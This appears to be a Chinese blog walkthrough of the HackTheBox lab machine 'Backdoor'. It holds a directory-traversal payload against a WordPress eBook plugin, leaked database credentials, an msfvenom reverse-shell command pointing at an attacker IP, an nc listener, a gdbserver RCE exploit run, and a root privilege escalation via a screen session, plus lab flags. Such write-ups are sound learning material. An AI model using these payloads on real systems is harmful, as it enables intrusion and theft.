[HTB靶机]-Backdoor

in 渗透测试 with 0 comment

0x00 靶机信息

靶机名:Backdoor[easy]
靶机IP:10.10.11.125
靶机地址:https://app.hackthebox.com/machines/Backdoor/

0x01 信息收集

首先使用nmap扫描,发现开放了22、80端口。

nmap -sC -sV 10.10.11.125
//-sC 根据端口识别服务自动调用默认脚本
//-sV 探测服务版本信息

1.png

这里我使用nmap只扫描到了22和80端口,用端口扫描工具rustscan再次扫描,发现1337端口。

2.png

0x02 ebook插件漏洞

确定了开放端口后,就可以根据这些端口所开放的服务进行漏洞利用了,80端口是一个WordPress 5.8.1。

对WordPress的渗透主要就是利用插件漏洞以及登录后台进行Getshell。因此当拿到一个Wordpress网站时,插件是需要检查的一个重要方面,Wordpress插件的默认安装位置在/wp-content/plugins

先使用WPScan进行扫描,但是很遗憾的是什么漏洞都没有扫到(也有人直接扫到了)。
使用dirsearch爆破该网站的目录:

python3 dirsearch.py -u http://10.10.11.125/

3.png

4.png

尝试访问插件路径/wp-content/plugins发现存在目录遍历漏洞。
5.png

看到有一个ebook-download插件,进入这个插件目录看到一个readme.txt文件。
6.png

从这个文件中得到该插件的版本为1.1。
7.png

得到了插件名称和版本信息,搜索一下该插件是否存在漏洞,这里可以使用在线网站https://www.exploit-db.com/ ,这是Kali linux 官方团队维护的一个安全项目,存储了大量的漏洞利用程序,是公认的世界上最大的搜集漏洞的数据库;也可以使用searchsploit工具,searchsploit是利用exploit-db提供的数据库进行离线搜索,使用参数也可以在exploit-db.com上进行在线搜索。

这里直接使用searchsploit搜索该插件的漏洞,命令如下:

searchsploit -t wordpress ebook

8.png

通过搜索发现eBook 1.1版本存在目录遍历漏洞(Directory Traversal),并给出了漏洞利用文件的相对路径,使用-p参数将该文件的完整路径复制到剪贴板,再使用cat查看文件内容:

# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7

[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================

[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================

9.png

0x03 漏洞利用

利用POC读取wp-config.php配置文件内容,该文件通常包含数据库凭据和其他敏感的配置信息。直接通过浏览器访问会对该文件进行下载,所以可以利用BurpSuite读取文件内容。
10.png

wp-config.php文件中得到数据库连接用户名密码:

DB_NAME = wordpress
DB_USER = wordpressuser
DB_PASSWORD = MQYBJSaD#DxG6qbm

读取/etc/passwd文件可以看到一个用户名为user的用户。
11.png

但是这些信息都没有什么用,3306并不出网无法连接数据库,ssh也不能连接,所以还要回到一开始扫描的另一个端口1337上。

0x04 爆破1337端口运行进程信息

虽然无法确定1337端口运行的服务,但是由于我们有目录遍历和文件包含漏洞,可以通过这些漏洞读取proc文件系统中的文件,最终获取linux系统中运行进程的相关信息,虽然无法知道1337端口运行进程的进程号,但是可以通过暴力破解找到1337端口的/proc/{PID}/cmdline文件。

可以先使用BurpSuite发送一个访问/proc/1/cmdline文件的请求,以验证服务器的响应是否符合预期,然后再利用Intrude模块进行爆破(或者写python脚本进行爆破)。
12.png

将爆破的结果按照返回数据包的长度(Length)进行排序,逐条分析结果。

13.png

发现有一个进程使用了1337端口,命令为:

sh-c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done

此进程的命令表示gdbserver正在1337端口上运行,gdbserver是一个运行在Linux上的调试工具,用于调试Linux上运行的应用程序。

0x05 gdbserver RCE漏洞利用

利用 searchsploit 搜索 gdbserver 的历史漏洞,发现在 gdbserver 9.2 版本中存在远程代码执行漏洞(RCE)。

searchsploit -t gdbserver

14.png

虽然我们无法确定这个服务器上运行的gdbserver的版本,但是试着直接利用这个漏洞进行攻击。

python3 /usr/local/opt/exploitdb/share/exploitdb/exploits/linux/remote/50539.py

15.png

运行exp脚本得到该漏洞利用的具体方法,将示例中的ip进行替换即可。
1、使用msfvenom生成shellcode

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.57 LPORT=4444 PrependFork=true -o rev.bin

16.png

2、nc监听

nc -nlvp 4444 

17.png

3、运行exp

python3 /usr/local/opt/exploitdb/share/exploitdb/exploits/linux/remote/50539.py 10.10.10.200:1337 rev.bin 

18.png

反弹shell成功,为了方便起见,可以将shell升级为TTY shell:

python3 -c "import pty;pty.spawn('/bin/bash')"

查看当前目录下的文件,在user.txt中拿到普通用户的flag9f0b8a0589da59bddb720adcaa6b6141

19.png

0x06 提权

接下来就是想办法提权获得root用户的flag了。使用ps aux显示出系统上正在运行的所有进程。

ps aux

注意到有一个进程正在创建一个屏幕会话(screen),并且这个进程是由root用户创建。命令如下:

/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done

20.png

screen是一个类似于tmux的多重视窗管理程序,用户可以建立多个screen会话,每个screen会话又可以建立多个window窗口,每一个窗口就像一个可操作的真实的ssh终端一样。
使用文档:https://linux.die.net/man/1/screen

当我们创建一个新的屏幕会话时,将在/var/run/screen目录下创建一个新的目录,名称为S-{username}(username是创建该会话的用户的用户名),在这个目录中将创建会话文件。

例如,使用kali用户创建一个会话名为test的会话screen -S test,执行完命令后,将会创建以下目录和文件。

21.png

了解了这些内容后,对上面的命令进行分析:

find /var/run/screen/S-root/ -empty -exec screen -dmS root

find /var/run/screan/S-root -empty -exec查找指定位置/var/run/screan/S-root-empty用于检查该目录是否为空。如果发现该目录为空,则执行-exec参数之后的命令,即screen -dmS root。此命令将创建一个名为“root”的断开模式下的会话。简而言之,如果名为root的会话不存在,则命令将创建一个新的名为root的会话。

分析完命令之后,我们可以知道,现在存在一个由root用户启动的名为root的会话,那么可以使用screen -x恢复这个到这个会话:

export TERM=xterm
screen -x root/root

22.png

这样就获取到了root权限,拿到root用户目录下的root flagee4c1703821c38fd402d001f24a1a883

23.png


参考:
https://www.netspi.com/blog/technical/web-application-penetration-testing/directory-traversal-file-inclusion-proc-file-system/
https://app.hackthebox.com/daa73272-e00b-4b6f-88f5-92952af56d8a

24.png

Comments are closed.